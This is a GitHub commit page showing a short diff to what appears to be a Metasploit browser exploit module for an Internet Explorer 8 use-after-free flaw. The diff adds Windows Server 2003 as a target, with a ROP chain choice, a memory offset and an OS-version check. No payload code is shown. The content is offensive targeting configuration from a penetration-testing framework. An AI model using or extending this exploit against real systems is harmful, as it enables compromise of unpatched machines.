Skip to content

Commit 14d197e

Browse files
committed
Added Windows Server 2003
1 parent 6cb9106 commit 14d197e

File tree

1 file changed

+6
-3
lines changed

1 file changed

+6
-3
lines changed

modules/exploits/windows/browser/ie_cdwnbindinfo_uaf.rb

Lines changed: 6 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -56,9 +56,10 @@ def initialize(info={})
5656
'Targets' =>
5757
[
5858
[ 'Automatic', {} ],
59-
[ 'IE 8 on Windows XP SP3', { 'Rop' => :msvcrt, 'Offset' => '0x586' } ], # 0x0c0c0b30
60-
[ 'IE 8 on Windows Vista', { 'Rop' => :jre, 'Offset' => '0x586' } ], # 0x0c0c0b30
61-
[ 'IE 8 on Windows 7', { 'Rop' => :jre, 'Offset' => '0x586' } ], # 0x0c0c0b30
59+
[ 'IE 8 on Windows XP SP3', { 'Rop' => :msvcrt, 'Offset' => '0x586' } ], # 0x0c0c0b30
60+
[ 'IE 8 on Windows Vista', { 'Rop' => :jre, 'Offset' => '0x586' } ], # 0x0c0c0b30
61+
[ 'IE 8 on Windows Server 2003', { 'Rop' => :jre, 'Offset' => '0x586' } ], # 0x0c0c0b30
62+
[ 'IE 8 on Windows 7', { 'Rop' => :jre, 'Offset' => '0x586' } ], # 0x0c0c0b30
6263
],
6364
'Privileged' => false,
6465
'DisclosureDate' => "Dec 27 2012",
@@ -83,6 +84,8 @@ def get_target(agent)
8384
case nt
8485
when '5.1'
8586
os_name = 'Windows XP SP3'
87+
when '5.2'
88+
os_name = 'Windows Server 2003'
8689
when '6.0'
8790
os_name = 'Windows Vista'
8891
when '6.1'

0 commit comments

Comments
 (0)